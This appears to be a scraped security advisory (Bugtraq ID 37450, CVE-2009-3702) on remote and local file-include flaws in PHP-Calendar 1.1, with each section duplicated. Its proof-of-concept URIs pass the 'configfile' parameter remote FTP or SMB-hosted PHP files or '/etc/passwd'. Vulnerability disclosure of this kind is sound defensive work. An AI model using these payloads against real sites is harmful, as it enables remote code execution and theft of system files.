PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
BID:37450
Info
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
| Bugtraq ID: | 37450 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3702 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 21 2009 12:00AM |
| Updated: | Dec 29 2009 05:52PM |
| Credit: | Juan Galiana Lara |
| Vulnerable: |
PHP-Calendar PHP-Calendar 1.1 |
| Not Vulnerable: | |
Discussion
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
PHP-Calendar 1.1 is vulnerable; other versions may also be affected.
PHP-Calendar is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
PHP-Calendar 1.1 is vulnerable; other versions may also be affected.
Exploit / POC
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://www.example.com/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://www.example.com/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://www.example.com/php-calendar-1.1/update10.php?configfile=/etc/passwd
Solution / Fix
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
References:
References:
- PHP-Calendar Homepage (PHP-Calendar)
- PHP-Calendar <= v1.1 'configfile' Remote and Local File Inclusion vulnerability (ISecAuditors Security Advisories